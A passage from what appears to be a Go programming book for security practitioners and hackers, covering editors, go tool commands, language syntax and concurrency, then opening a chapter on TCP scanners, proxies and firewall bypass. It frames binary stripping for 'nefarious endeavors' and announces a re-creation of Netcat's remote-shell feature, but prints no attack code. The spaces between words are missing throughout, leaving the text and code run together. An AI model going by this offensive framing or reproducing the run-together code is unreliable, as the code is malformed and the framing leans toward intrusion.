youintoanyonesolution. VimEditor TheVimtexteditor,availableinmanyoperating-system distributions,providesaversatile,extensible,andcompletely opensourcedevelopmentenvironment.Oneappealingfeature ofVimisthatitletsusersruneverythingfromtheirterminal withoutfancyGUIsgettingintheway. Vimcontainsavastecosystemofplug-insthroughwhich youcancustomizethemes,addversioncontrol,define snippets,addlayoutandcode-navigationfeatures,include autocomplete,performsyntaxhighlightingandlinting,and much,muchmore.Vim’smostcommonplug-inmanagement systemsincludeVundleandPathogen. TouseVimforGo,installthevim-goplug-in (https://github.com/fatih/vim-go/)showninFigure1-1. Figure1-1:Thevim-goplug-in Ofcourse,touseVimforGodevelopment,you’llhaveto becomecomfortablewithVim.Further,customizingyour developmentenvironmentwithallthefeaturesyoudesire mightbeafrustratingprocess.IfyouuseVim,whichisfree, you’lllikelyneedtosacrificesomeoftheconveniencesof commercialIDEs. GitHubAtom GitHub’sIDE,calledAtom(https://atom.io/),isahackable texteditorwithalargeofferingofcommunity-driven packages.UnlikeVim,AtomprovidesadedicatedIDE applicationratherthananin-terminalsolution,asshownin Figure1-2. Figure1-2:AtomwithGosupport LikeVim,Atomisfree.Itprovidestiling,package management,versioncontrol,debugging,autocomplete,anda myriadofadditionalfeaturesoutoftheboxorthroughtheuse ofthego-plusplug-in,whichprovidesdedicatedGosupport (https://atom.io/packages/go-plus/). MicrosoftVisualStudioCode Microsoft’sVisualStudioCode,orVSCode (https://code.visualstudio.com),isarguablyoneofthemost feature-richandeasiestIDEapplicationstoconfigure.VS Code,showninFigure1-3,iscompletelyopensourceand distributedunderanMITlicense. Figure1-3:TheVSCodeIDEwithGosupport VSCodesupportsadiversesetofextensionsforthemes, versioning,codecompletion,debugging,linting,and formatting.YoucangetGointegrationwiththevscode-go extension(https://github.com/Microsoft/vscode-go/). JetBrainsGoLand TheJetBrainscollectionofdevelopmenttoolsareefficientand feature-rich,makingbothprofessionaldevelopmentand hobbyistprojectseasytoaccomplish.Figure1-4showswhat theJetBrainsGoLandIDElookslike. GoLandistheJetBrainscommercialIDEdedicatedtothe Golanguage.PricingforGoLandrangesfromfreefor students,to$89annuallyforindividuals,to$199annuallyfor organizations.GoLandoffersalltheexpectedfeaturesofa richIDE,includingdebugging,codecompletion,version control,linting,formatting,andmore.Althoughpayingfora productmaynotsoundappealing,commercialproductssuch asGoLandtypicallyhaveofficialsupport,documentation, timelybugfixes,andsomeoftheotherassurancesthatcome withenterprisesoftware. Figure1-4:TheGoLandcommercialIDE UsingCommonGoToolCommands Goshipswithseveralusefulcommandsthatsimplifythe developmentprocess.Thecommandsthemselvesare commonlyincludedinIDEs,makingthetoolingconsistent acrossdevelopmentenvironments.Let’stakealookatsomeof thesecommands. ThegorunCommand Oneofthemorecommoncommandsyou’llexecuteduring development,gorunwillcompileandexecutethemainpackage —yourprogram’sentrypoint. Asanexample,savethefollowingcodeunderaproject directorywithin$GOPATH/src(remember,youcreatedthis workspaceduringinstallation)asmain.go: packagemain import( "fmt" ) funcmain(){ fmt.Println("Hello,BlackHatGophers!") } Fromthecommandline,withinthedirectorycontaining thisfile,executegorunmain.go.YoushouldseeHello,BlackHat Gophers!printedtoyourscreen. ThegobuildCommand Notethatgorunexecutedyourfile,butitdidn’tproducea standalonebinaryfile.That’swheregobuildcomesin.Thego buildcommandcompilesyourapplication,includingany packagesandtheirdependencies,withoutinstallingtheresults. Itcreatesabinaryfileondiskbutdoesn’texecuteyour program.Thefilesitcreatesfollowreasonablenaming conventions,butit’snotuncommontochangethenameofthe createdbinaryfilebyusingthe-ooutputcommandlineoption. Renamemain.gofromthepreviousexampletohello.go.In aterminalwindow,executegobuildhello.go.Ifeverythinggoes asintended,thiscommandshouldcreateanexecutablefile withthenamehello.Nowenterthiscommand: $./hello Hello,BlackHatGophers! Thisshouldrunthestandalonebinaryfile. Bydefault,theproducedbinaryfilecontainsdebugging informationandthesymboltable.Thiscanbloatthesizeof thefile.Toreducethefilesize,youcanincludeadditional flagsduringthebuildprocesstostripthisinformationfromthe binary.Forexample,thefollowingcommandwillreducethe binarysizebyapproximately30percent: $gobuild-ldflags"-w-s" Havingasmallerbinarywillmakeitmoreefficientto transferorembedwhilepursuingyournefariousendeavors. Cross-Compiling Usinggobuildworksgreatforrunningabinaryonyourcurrent systemoroneofidenticalarchitecture,butwhatifyouwantto createabinarythatcanrunonadifferentarchitecture?That’s wherecross-compilingcomesin.Cross-compilingisoneof thecoolestaspectsofGo,asnootherlanguagecandoitas easily.Thebuildcommandallowsyoutocross-compileyour programformultipleoperatingsystemsandarchitectures. ReferencetheofficialGodocumentationat https://golang.org/doc/install/source#environment/forfurther detailsregardingallowablecombinationsofcompatible operatingsystemandarchitecturecompilationtypes. Tocross-compile,youneedtosetaconstraint.Thisisjust ameanstopassinformationtothebuildcommandaboutthe operatingsystemandarchitectureforwhichyou’dliketo compileyourcode.TheseconstraintsincludeGOOS(forthe operatingsystem)andGOARCH(forthearchitecture). Youcanintroducebuildconstraintsinthreeways:viathe commandline,codecomments,orafilesuffixnaming convention.We’lldiscussthecommandlinemethodhereand leavetheothertwomethodsforyoutoresearchifyouwish. Let’ssupposethatyouwanttocross-compileyourprevious hello.goprogramresidingonamacOSsystemsothatitruns onaLinux64-bitarchitecture.Youcanaccomplishthisviathe commandlinebysettingtheGOOSandGOARCHconstraints whenrunningthebuildcommand: $GOOS="linux"GOARCH="amd64"gobuildhello.go $ls hellohello.go $filehello hello:ELF64-bitLSBexecutable,x86-64,version1(SYSV),staticallylinked,not stripped Theoutputconfirmsthattheresultingbinaryisa64-bit ELF(Linux)file. Thecross-compilationprocessismuchsimplerinGothan injustaboutanyothermodernprogramminglanguage.The onlyreal“gotcha”happenswhenyoutrytocross-compile applicationsthatusenativeCbindings.We’llstayoutofthe weedsandletyoudigintothosechallengesindependently. Dependingonthepackagesyouimportandtheprojectsyou develop,youmaynothavetoworryaboutthatveryoften. ThegodocCommand ThegodocCommand Thegodoccommandletsyouinterrogatedocumentationabout apackage,function,method,orvariable.Thisdocumentation isembeddedascommentsthroughyourcode.Let’stakealook athowtoobtaindetailsaboutthefmt.Println()function: $godocfmt.Println funcPrintln(a...interface{})(nint,errerror) Printlnformatsusingthedefaultformatsforitsoperandsandwritesto standardoutput.Spacesarealwaysaddedbetweenoperandsandanewline isappended.Itreturnsthenumberofbyteswrittenandanywriteerror encountered. Theoutputthatgodocproducesistakendirectlyoutofthe sourcecodecomments.Aslongasyouadequatelycomment yourpackages,functions,methods,andvariables,you’llbe abletoautomaticallyinspectthedocumentationviathegodoc command. ThegogetCommand ManyoftheGoprogramsthatyou’lldevelopinthisbookwill requirethird-partypackages.Toobtainpackagesourcecode, usethegogetcommand.Forinstance,let’sassumeyou’ve writtenthefollowingcodethatimportsthestacktitan/ldapauth package: packagemain import( "fmt" "net/http" ❶"github.com/stacktitan/ldapauth" ) Eventhoughyou’veimportedthestacktitan/ldapauthpackage ❶,youcan’taccessthepackagequiteyet.Youfirsthaveto runthegogetcommand.Usinggogetgithub.com/stacktitan/ldapauth downloadstheactualpackageandplacesitwithinthe $GOPATH/srcdirectory. Thefollowingdirectorytreeillustratestheplacementofthe ldapauthpackagewithinyourGOPATHworkspace: $treesrc/github.com/stacktitan/ ❶src/github.com/stacktitan/ └──ldapauth ├──LICENSE ├──README.md └──ldap_auth.go Noticethatthepath❶andtheimportedpackagenameare constructedinawaythatavoidsassigningthesamenameto multiplepackages.Usinggithub.com/stacktitanasaprefacetothe actualpackagenameldapauthensuresthatthepackagename remainsunique. AlthoughGodeveloperstraditionallyinstalldependencies withgoget,problemscanariseifthosedependentpackages receiveupdatesthatbreakbackwardcompatibility.Gohas introducedtwoseparatetools—depandmod—tolock dependenciesinordertopreventbackwardcompatibility issues.However,thisbookalmostexclusivelyusesgogetto pulldowndependencies.Thiswillhelpavoidinconsistencies withongoingdependencymanagementtoolingandhopefully makeiteasierforyoutogettheexamplesupandrunning. ThegofmtCommand Thegofmtcommandautomaticallyformatsyoursourcecode. Forexample,runninggofmt/path/to/your/packagewillstyleyour codebyenforcingtheuseofproperlinebreaks,indentation, andbracealignment. Adheringtoarbitrarystylingpreferencesmightseem strangeatfirst,particularlyiftheydifferfromyourhabits. However,youshouldfindthisconsistencyrefreshingover time,asyourcodewilllooksimilartootherthird-party packagesandfeelmoreorganized.MostIDEscontainhooks thatwillautomaticallyrungofmtwhenyousaveyourfile,so youdon’tneedtoexplicitlyrunthecommand. ThegolintandgovetCommands Whereasgofmtchangesthesyntacticalstylingofyourcode, golintreportsstylemistakessuchasmissingcomments, variablenamingthatdoesn’tfollowconventions,uselesstype specifications,andmore.Noticethatgolintisastandalonetool, andnotasubcommandofthemaingobinary.You’llneedto installitseparatelybyusinggoget-ugolang.org/x/lint/golint. Similarly,govetinspectsyourcodeandusesheuristicsto identifysuspiciousconstructs,suchascallingPrintf()withthe incorrectformatstringtypes.Thegovetcommandattemptsto identifyissues,someofwhichmightbelegitimatebugs,thata compilermightmiss. GoPlayground TheGoPlaygroundisanexecutionenvironmenthostedat https://play.golang.org/thatprovidesaweb-basedfrontendfor developerstoquicklydevelop,test,execute,andshare snippetsofGocode.Thesitemakesiteasytotryoutvarious GofeatureswithouthavingtoinstallorrunGoonyourlocal system.It’sagreatwaytotestsnippetsofcodebefore integratingthemwithinyourprojects. Italsoallowsyoutosimplyplaywithvariousnuancesof thelanguageinapreconfiguredenvironment.It’sworthnoting thattheGoPlaygroundrestrictsyoufromcallingcertain dangerousfunctionstopreventyoufrom,forexample, executingoperating-systemcommandsorinteractingwith third-partywebsites. OtherCommandsandTools Althoughwewon’texplicitlydiscussothertoolsand commands,weencourageyoutodoyourownresearch.As youcreateincreasinglycomplexprojects,you’relikelytorun intoadesireto,forexample,usethegotesttooltorununittests andbenchmarks,covertocheckfortestcoverage,importstofix importstatements,andmore. UNDERSTANDINGGOSYNTAX AnexhaustivereviewoftheentireGolanguagewouldtake multiplechapters,ifnotanentirebook.Thissectiongivesa briefoverviewofGo’ssyntax,particularlyrelativetodata types,controlstructures,andcommonpatterns.Thisshould actasarefresherforcasualGocodersandanintroductionfor thosenewtothelanguage. Foranin-depth,progressivereviewofthelanguage,we recommendthatyouworkthroughtheexcellentATourofGo (https://tour.golang.org/)tutorial.It’sacomprehensive,hands- ondiscussionofthelanguagebrokenintobite-sizedlessons thatuseanembeddedplaygroundtoenableyoutotryouteach oftheconcepts. ThelanguageitselfisamuchcleanerversionofCthat removesalotofthelower-levelnuances,resultinginbetter readabilityandeasieradoption. DataTypes Likemostmodernprogramminglanguages,Goprovidesa varietyofprimitiveandcomplexdatatypes.Primitivetypes consistofthebasicbuildingblocks(suchasstrings,numbers, andbooleans)thatyou’reaccustomedtoinotherlanguages. Primitivesmakeupthefoundationofallinformationused withinaprogram.Complexdatatypesareuser-defined structurescomposedofacombinationofoneormore primitiveorothercomplextypes. PrimitiveDataTypes Theprimitivetypesincludebool,string,int,int8,int16,int32,int64, uint,uint8,uint16,uint32,uint64,uintptr,byte,rune,float32,float64, complex64,andcomplex128. Youtypicallydeclareavariable’stypewhenyoudefineit. Ifyoudon’t,thesystemwillautomaticallyinferthevariable’s datatype.Considerthefollowingexamples: varx="HelloWorld" z:=int(42) Inthefirstexample,youusethekeywordvartodefinea variablenamedxandassigntoitthevalue"HelloWorld".Go implicitlyinfersxtobeastring,soyoudon’thavetodeclare thattype.Inthesecondexample,youusethe:=operatorto defineanewvariablenamedzandassigntoitanintegervalue of42.Therereallyisnodifferencebetweenthetwooperators. We’lluseboththroughoutthisbook,butsomepeoplefeelthat the:=operatorisanuglysymbolthatreducesreadability. Choosewhateverworksbestforyou. Intheprecedingexample,youexplicitlywrapthe42value inanintcalltoforceatypeonit.Youcouldomittheintcall butwouldhavetoacceptwhatevertypethesystem automaticallyusesforthatvalue.Insomecases,thiswon’tbe thetypeyouintendedtouse.Forinstance,perhapsyouwant 42toberepresentedasanunsignedinteger,ratherthananint type,inwhichcaseyou’dhavetoexplicitlywrapthevalue. SlicesandMaps Goalsohasmore-complexdatatypes,suchasslicesandmaps. Slicesarelikearraysthatyoucandynamicallyresizeandpass tofunctionsmoreefficiently.Mapsareassociativearrays, unorderedlistsofkey/valuepairsthatallowyoutoefficiently andquicklylookupvaluesforauniquekey. Thereareallsortsofwaystodefine,initialize,andwork withslicesandmaps.Thefollowingexampledemonstratesa commonwaytodefinebothaslicesandamapmandadd elementstoboth: vars=make([]string,0) varm=make(map[string]string) s=append(s,"somestring") m["somekey"]="somevalue" Thiscodeusesthetwobuilt-infunctions:make()toinitialize eachvariableandappend()toaddanewitemtoaslice.Thelast lineaddsthekey/valuepairofsomekeyandsomevaluetothemap m.WerecommendthatyoureadtheofficialGodocumentation toexploreallthemethodsfordefiningandusingthesedata types. Pointers,Structs,andInterfaces Apointerpointstoaparticularareainmemoryandallowsyou toretrievethevaluestoredthere.AsyoudoinC,youusethe &operatortoretrievetheaddressinmemoryofsomevariable, andthe*operatortodereferencetheaddress.Thefollowing exampleillustratesthis: ❶varcount=int(42) ❷ptr:=&count ❸fmt.Println(*ptr) ❹*ptr=100 ❺fmt.Println(count) Thecodedefinesaninteger,count❶,andthencreatesa pointer❷byusingthe&operator.Thisreturnstheaddressof thecountvariable.Youdereferencethevariable❸while makingacalltofmt.Println()tologthevalueofcounttostdout. Youthenusethe*operator❹toassignanewvaluetothe memorylocationpointedtobyptr.Becausethisistheaddress ofthecountvariable,theassignmentchangesthevalueofthat variable,whichyouconfirmbyprintingittothescreen❺. Youusethestructtypetodefinenewdatatypesby specifyingthetype’sassociatedfieldsandmethods.For example,thefollowingcodedefinesaPersontype: ❶typePersonstruct{ ❷Namestring ❸Ageint } ❹func(p*Person)SayHello(){ fmt.Println("Hello,",p.Name❺) } funcmain(){ varguy=new❻(Person) ❼guy.Name="Dave" ❽guy.SayHello() } Thecodeusesthetypekeyword❶todefineanewstruct containingtwofields:astringnamedName❷andanintnamed Age❸. Youdefineamethod,SayHello(),onthePersontypeassigned tovariablep❹.Themethodprintsagreetingmessageto stdoutbylookingatthestruct,p❺,thatreceivedthecall. Thinkofpasareferencetoselforthisinotherlanguages.You alsodefineafunction,main(),whichactsastheprogram’sentry point.Thisfunctionusesthenewkeyword❻toinitializeanew Person.ItassignsthenameDavetotheperson❼andthentells thepersontoSayHello()❽. Structslackscopingmodifiers—suchasprivate,public,or protected—thatarecommonlyusedinotherlanguagesto controlaccesstotheirmembers.Instead,Gouses capitalizationtodeterminescope:typesandfieldsthatbegin withacapitalletterareexportedandaccessibleoutsidethe package,whereasthosestartingwithalowercaseletterare private,accessibleonlywithinthepackage. YoucanthinkofGo’sinterfacetypeasablueprintora contract.Thisblueprintdefinesanexpectedsetofactionsthat anyconcreteimplementationmustfulfillinordertobe consideredatypeofthatinterface.Todefineaninterface,you defineasetofmethods;anydatatypethatcontainsthose methodswiththecorrectsignaturesfulfillsthecontractandis consideredatypeofthatinterface.Let’stakealookatan example: ❶typeFriendinterface{ ❷SayHello() } Inthissample,you’vedefinedaninterfacecalledFriend❶ thatrequiresonemethodtobeimplemented:SayHello()❷.That meansthatanytypethatimplementstheSayHello()methodisa Friend.NoticethattheFriendinterfacedoesn’tactually implementthatfunction—itjustsaysthatifyou’reaFriend,you needtobeabletoSayHello(). Thefollowingfunction,Greet(),takesaFriendinterfaceas inputandsayshelloinaFriend-specificway: funcGreet❶(fFriend❷){ f.SayHello() } YoucanpassanyFriendtypetothefunction.Luckily,the PersontypeusedinthepreviousexamplecanSayHello()—it’sa Friend.Therefore,ifafunctionnamedGreet()❶,asshowninthe precedingcode,expectsaFriendasaninputparameter❷,you canpassitaPerson,likethis: funcmain(){ varguy=new(Person) guy.Name="Dave" Greet(guy) } } Usinginterfacesandstructs,youcandefinemultipletypes thatyoucanpasstothesameGreet()function,solongasthese typesimplementtheFriendinterface.Considerthismodified example: ❶typeDogstruct{} func(d*Dog)SayHello()❷{ fmt.Println("Woofwoof") } funcmain(){ varguy=new(Person) guy.Name="Dave" ❸Greet(guy) vardog=new(Dog) ❹Greet(dog) } Theexampleshowsanewtype,Dog❶,thatisableto SayHello()❷and,therefore,isaFriend.YouareabletoGreet() bothaPerson❸andaDog❹,sincebotharecapableof SayHello(). We’llcoverinterfacesmultipletimesthroughoutthebook tohelpyoubetterunderstandtheconcept. ControlStructures Gocontainsslightlyfewercontrolstructuresthanother modernlanguages.Despitethat,youcanstillaccomplish complexprocessing,includingconditionalsandloops,with Go. Go’sprimaryconditionalistheif/elsestructure: ifx==1{ fmt.Println("Xisequalto1") }else{ fmt.Println("Xisnotequalto1") } Go’ssyntaxdeviatesslightlyfromthesyntaxofother languages.Forinstance,youdon’twraptheconditionalcheck —inthiscase,x==1—inparentheses.Youmustwrapallcode blocks,eventheprecedingsingle-lineblocks,inbraces.Many othermodernlanguagesmakethebracesoptionalforsingle- lineblocks,butthey’rerequiredinGo. Forconditionalsinvolvingmorethantwochoices,Go providesaswitchstatement.Thefollowingisanexample: switchx❶{ case"foo"❷: fmt.Println("Foundfoo") case"bar"❸: fmt.Println("Foundbar") default❹: fmt.Println("Defaultcase") } Inthisexample,theswitchstatementcomparesthecontents ofavariablex❶againstvariousvalues—foo❷andbar❸— andlogsamessagetostdoutifxmatchesoneofthe conditions.Thisexampleincludesadefaultcase❹,which executesintheeventthatnoneoftheotherconditionsmatch. Notethat,unlikemanyothermodernlanguages,yourcases don’thavetoincludebreakstatements.Inotherlanguages, executionoftencontinuesthrougheachofthecasesuntilthe codereachesabreakstatementortheendoftheswitch.Gowill executenomorethanonematchingordefaultcase. Goalsocontainsaspecialvariationontheswitchcalleda typeswitchthatperformstypeassertionsbyusingaswitch statement.Typeswitchesareusefulfortryingtounderstand theunderlyingtypeofaninterface.Forexample,youmight useatypeswitchtoretrievetheunderlyingtypeofaninterface calledi: funcfoo(i❶interface{}){ switchv:=i.(type)❷{ caseint: fmt.Println("I'maninteger!") casestring: fmt.Println("I'mastring!") default: fmt.Println("Unknowntype!") } } Thisexampleusesspecialsyntax,i.(type)❷,toretrievethe typeoftheiinterfacevariable❶.Youusethisvalueinaswitch statementinwhicheachcasematchesagainstaspecifictype. Inthisexample,yourcasescheckforintorstringprimitive types,butyoucouldverywellcheckforpointersoruser- definedstructtypes,forinstance. Go’slastflowcontrolstructureistheforloop.Theforloop isGo’sexclusiveconstructforperformingiterationor repeatingsectionsofcode.Itmightseemoddtonothave conventionssuchasdoorwhileloopsatyourdisposal,butyou canre-createthembyusingvariationsoftheforloopsyntax. Here’sonevariationofaforloop: fori:=0;i<10;i++{ fmt.Println(i) } Thecodeloopsthroughnumbers0to9,printingeach numbertostdout.Noticethesemicolonsinthefirstline. Unlikemanyotherlanguages,whichusesemicolonsasline delimiters,Gousesthemforvariouscontrolstructuresto performmultipledistinct,butrelated,subtasksinasingleline ofcode.Thefirstlineusesthesemicolonstoseparatethe initializationlogic(i:=0),theconditionalexpression(i<10), andthepoststatement(i++).Thisstructureshouldbevery, veryfamiliartoanyonewhohascodedinanymodern language,asitcloselyfollowstheconventionsofthose languages. Thefollowingexampleshowsaslightvariationofthefor loopthatloopsoveracollection,suchasasliceoramap: ❶nums:=[]int{2,4,6,8} foridx❷,val❸:=range❹nums{ fmt.Println(idx,val) } Inthisexample,youinitializeasliceofintegersnamed nums❶.Youthenusethekeywordrange❹withintheforloop toiterateovertheslice.Therangekeywordreturnstwovalues: thecurrentindex❷andacopyofthecurrentvalue❸atthat index.Ifyoudon’tintendtousetheindex,youcouldreplace idxintheforloopwithanunderscoretotellGoyouwon’tneed it. Youcanusethisexactsameloopinglogicwithmapsas welltoreturneachkey/valuepair. Concurrency Muchlikethecontrolstructuresalreadyreviewed,Gohasa muchsimplerconcurrencymodelthanotherlanguages.To executecodeconcurrently,youcanusegoroutines,whichare functionsormethodsthatcanrunsimultaneously.Theseare oftendescribedaslightweightthreadsbecausethecostof creatingthemisminimalwhencomparedtoactualthreads. Tocreateagoroutine,usethegokeywordbeforethecallto amethodorfunctionyouwishtorunconcurrently: ❶funcf(){ fmt.Println("ffunction") } funcmain(){ ❷gof() time.Sleep(1*time.Second) fmt.Println("mainfunction") } Inthisexample,youdefineafunction,f()❶,thatyoucall inyourmain()function,theprogram’sentrypoint.Youpreface thecallwiththekeywordgo❷,meaningthattheprogramwill runfunctionf()concurrently;inotherwords,theexecutionof yourmain()functionwillcontinuewithoutwaitingforf()to complete.Youthenuseatime.Sleep(1*time.Second)toforcethe main()functiontopausetemporarilysothatf()cancomplete.If youdidn’tpausethemain()function,theprogramwouldlikely exitpriortothecompletionoffunctionf(),andyouwould neverseeitsresultsdisplayedtostdout.Donecorrectly,you’ll seemessagesprintedtostdoutindicatingthatyou’vefinished executingboththef()andmain()functions. Gocontainsadatatypecalledchannelsthatprovidea mechanismthroughwhichgoroutinescansynchronizetheir executionandcommunicatewithoneanother.Let’slookatan examplethatuseschannelstodisplaythelengthofdifferent stringsandtheirsumsimultaneously: ❶funcstrlen(sstring,cchanint){ ❷c<-len(s) } funcmain(){ ❸c:=make(chanint) ❹gostrlen("Salutations",c) gostrlen("World",c) ❺x,y:=<-c,<-c fmt.Println(x,y,x+y) } First,youdefineanduseavariablecoftypechanint.You candefinechannelsofvarioustypes,dependingonthetypeof datayouintendtopassviathechannel.Inthiscase,you’llbe passingthelengthsofvariousstringsasintegervalues betweengoroutines,soyoushoulduseanintchannel. Noticeanewoperator:<-.Thisoperatorindicateswhether thedataisflowingtoorfromachannel.Youcanthinkofthis astheequivalentofplacingitemsintoabucketorremoving itemsfromabucket. Thefunctionyoudefine,strlen()❶,acceptsawordasa string,aswellasachannelthatyou’lluseforsynchronizing data.Thefunctioncontainsasinglestatement,c<-len(s)❷, whichusesthebuilt-inlen()functiontodeterminethelengthof thestring,andthenputstheresultintothecchannelbyusing the<-operator. Themain()functionpieceseverythingtogether.First,you issueacalltomake(chanint)❸tocreatetheintegerchannel.You thenissuemultipleconcurrentcallstothestrlen()functionby usingthegokeyword❹,whichspinsupmultiplegoroutines. Youpasstothestrlen()functiontwostringvalues,aswellasthe channelintowhichyouwanttheresultsplaced.Lastly,you readdatafromthechannelbyusingthe<-operator❺,this timewithdataflowingfromthechannel.Thismeansyou’re takingitemsoutofyourbucket,sotospeak,andassigning thosevaluestothevariablesxandy.Notethatexecution blocksatthislineuntiladequatedatacanbereadfromthe channel. Whenthelinecompletes,youdisplaythelengthofeach stringaswellastheirsumtostdout.Inthisexample,it producesthefollowingoutput: 51116 Thismayseemoverwhelming,butit’skeytohighlight basicconcurrencypatterns,asGoshinesinthisarea.Because concurrencyandparallelisminGocanbecomerather complicated,feelfreetoexploreonyourown.Throughoutthis book,we’lltalkaboutmorerealisticandcomplicated implementationsofconcurrencyasweintroducebuffered channels,waitgroups,mutexes,andmore. ErrorHandling Unlikemostothermodernprogramminglanguages,Godoes notincludesyntaxfortry/catch/finallyerrorhandling.Instead, itadoptsaminimalisticapproachthatencouragesyoutocheck forerrorswheretheyoccurratherthanallowingthemto “bubbleup”tootherfunctionsinthecallchain. Godefinesabuilt-inerrortypewiththefollowinginterface declaration: typeerrorinterface{ Error()string } Thismeansyoucanuseanydatatypethatimplementsa methodnamedError(),whichreturnsastringvalue,asanerror. Forexample,here’sacustomerroryoucoulddefineanduse throughoutyourcode: ❶typeMyErrorstring func(eMyError)Error()string❷{ returnstring(e) } Youcreateauser-definedstringtypenamedMyError❶and implementanError()stringmethod❷forthetype. Whenitcomestoerrorhandling,you’llquicklyget accustomedtothefollowingpattern: funcfoo()error{ returnerrors.New("SomeErrorOccurred") } funcmain(){ iferr:=foo()❶;err!=nil❷{ //Handletheerror } } You’llfindthatit’sfairlycommonforfunctionsand methodstoreturnatleastonevalue.Oneofthesevaluesis almostalwaysanerror.InGo,theerrorreturnedmaybeavalue ofnil,indicatingthatthefunctiongeneratednoerrorand everythingseeminglyranasexpected.Anon-nilvaluemeans somethingbrokeinthefunction. Thus,youcancheckforerrorsbyusinganifstatement,as showninthemain()function.You’lltypicallyseemultiple statements,separatedbyasemicolon.Thefirststatementcalls thefunctionandassignstheresultingerrortoavariable❶. Thesecondstatementthencheckswhetherthaterrorisnil❷. Youusethebodyoftheifstatementtohandletheerror. You’llfindthatphilosophiesdifferonthebestwayto handleandlogerrorsinGo.Oneofthechallengesisthat, unlikeotherlanguages,Go’sbuilt-inerrortypedoesn’t implicitlyincludeastacktracetohelpyoupinpointtheerror’s contextorlocation.Althoughyoucancertainlygenerateone andassignittoacustomtypeinyourapplication,its implementationisleftuptothedevelopers.Thiscanbealittle annoyingatfirst,butyoucanmanageitthroughproper applicationdesign. HandlingStructuredData Securitypractitionerswilloftenwritecodethathandles structureddata,ordatawithcommonencoding,suchasJSON orXML.Gocontainsstandardpackagesfordataencoding. Themostcommonpackagesyou’relikelytouseinclude encoding/jsonandencoding/xml. Bothpackagescanmarshalandunmarshalarbitrarydata structures,whichmeanstheycanturnstringstostructures,and structurestostrings.Let’slookatthefollowingsample,which serializesastructuretoabytesliceandthensubsequently deserializesthebyteslicebacktoastructure: ❶typeFoostruct{ Barstring Bazstring } funcmain(){ ❷f:=Foo{"JoeJunior","HelloShabado"} b,_❸:=json.Marshal❹(f❺) ❻fmt.Println(string(b)) json.Unmarshal(b❼,&f❽) } Thiscode(whichdeviatesfrombestpracticesandignores possibleerrors)definesastructtypenamedFoo❶.You initializeitinyourmain()function❷andthenmakeacallto json.Marshal()❹,passingittheFooinstance❺.ThisMarshal() methodencodesthestructtoJSON,returningabyteslice❸that yousubsequentlyprinttostdout❻.Theoutput,shownhere,is aJSON-encodedstringrepresentationofourFoostruct: {"Bar":"JoeJunior","Baz":"HelloShabado"} Lastly,youtakethatsamebyteslice❼anddecodeitviaa calltojson.Unmarshal(b,&f).ThisproducesaFoostructinstance ❽.DealingwithXMLisnearlyidenticaltothisprocess. WhenworkingwithJSONandXML,you’llcommonlyuse fieldtags,whicharemetadataelementsthatyouassigntoyour structfieldstodefinehowthemarshalingandunmarshaling logiccanfindandtreattheaffiliatedelements.Numerous variationsofthesefieldtagsexist,buthereisashortexample thatdemonstratestheirusageforhandlingXML: typeFoostruct{ Barstring`xml:"id,attr"` Bazstring`xml:"parent>child"` Bazstring`xml:"parent>child"` } Thestringvalues,wrappedinbackticksandfollowingthe structfields,arefieldtags.Fieldtagsalwaysbeginwiththe tagname(xmlinthiscase),followedbyacolonandthe directiveenclosedindoublequotes.Thedirectivedefineshow thefieldsshouldbehandled.Inthiscase,youaresupplying directivesthatdeclarethatBarshouldbetreatedasanattribute namedid,notanelement,andthatBazshouldbefoundina subelementofparent,namedchild.Ifyoumodifytheprevious JSONexampletonowencodethestructureasXML,you wouldseethefollowingresult: <Fooid="JoeJunior"><parent><child>HelloShabado</child></parent></Foo> TheXMLencoderreflectivelydeterminesthenamesof elements,usingthetagdirectives,soeachfieldishandled accordingtoyourneeds. Throughoutthisbook,you’llseethesefieldtagsusedfor dealingwithotherdataserializationformats,includingASN.1 andMessagePack.We’llalsodiscusssomerelevantexamples ofdefiningyourowncustomtags,specificallywhenyoulearn howtohandletheServerMessageBlock(SMB)Protocol. SUMMARY Inthischapter,yousetupyourGoenvironmentandlearned aboutthefundamentalaspectsoftheGolanguage.Thisisnot anexhaustivelistofallGo’scharacteristics;thelanguageis fartoonuancedandlargeforustocramitallintoasingle chapter.Instead,weincludedtheaspectsthatwillbemost usefulinthechaptersthatfollow.We’llnowturnourattention topracticalapplicationsofthelanguageforsecurity practitionersandhackers.HereweGo! 2 TCP,SCANNERS,ANDPROXIES Let’sbeginourpracticalapplicationofGowiththe TransmissionControlProtocol(TCP),thepredominant standardforconnection-oriented,reliablecommunicationsand thefoundationofmodernnetworking.TCPiseverywhere,and ithaswell-documentedlibraries,codesamples,andgenerally easy-to-understandpacketflows.YoumustunderstandTCPto fullyevaluate,analyze,query,andmanipulatenetworktraffic. Asanattacker,youshouldunderstandhowTCPworksand beabletodevelopusableTCPconstructssothatyoucan identifyopen/closedports,recognizepotentiallyerrantresults suchasfalse-positives—forexample,syn-floodprotections— andbypassegressrestrictionsthroughportforwarding.Inthis chapter,you’lllearnbasicTCPcommunicationsinGo;builda concurrent,properlythrottledportscanner;createaTCPproxy thatcanbeusedforportforwarding;andre-createNetcat’s “gapingsecurityhole”feature. Entiretextbookshavebeenwrittentodiscusseverynuance ofTCP,includingpacketstructureandflow,reliability, communicationreassembly,andmore.Thislevelofdetailis beyondthescopeofthisbook.Formoredetails,youshould readTheTCP/IPGuidebyCharlesM.Kozierok(NoStarch Press,2005). UNDERSTANDINGTHETCP HANDSHAKE Forthosewhoneedarefresher,let’sreviewthebasics.Figure 2-1showshowTCPusesahandshakeprocesswhenquerying aporttodeterminewhethertheportisopen,closed,or filtered. Figure2-1:TCPhandshakefundamentals Iftheportisopen,athree-wayhandshaketakesplace. First,theclientsendsasynpacket,whichsignalsthe beginningofacommunication.Theserverthenrespondswith asyn-ack,oracknowledgmentofthesynpacketitreceived, promptingtheclienttofinishwithanack,oracknowledgment oftheserver’sresponse.Thetransferofdatacanthenoccur.If theportisclosed,theserverrespondswitharstpacketinstead ofasyn-ack.Ifthetrafficisbeingfilteredbyafirewall,the clientwilltypicallyreceivenoresponsefromtheserver. Theseresponsesareimportanttounderstandwhenwriting network-basedtools.Correlatingtheoutputofyourtoolsto theselow-levelpacketflowswillhelpyouvalidatethatyou’ve properlyestablishedanetworkconnectionandtroubleshoot potentialproblems.Asyou’llseelaterinthischapter,youcan easilyintroducebugsintoyourcodeifyoufailtoallowfull client-serverTCPconnectionhandshakestocomplete, resultingininaccurateormisleadingresults. BYPASSINGFIREWALLSWITH PORTFORWARDING Peoplecanconfigurefirewallstopreventaclientfrom connectingtocertainserversandports,whileallowingaccess toothers.Insomecases,youcancircumventtheserestrictions 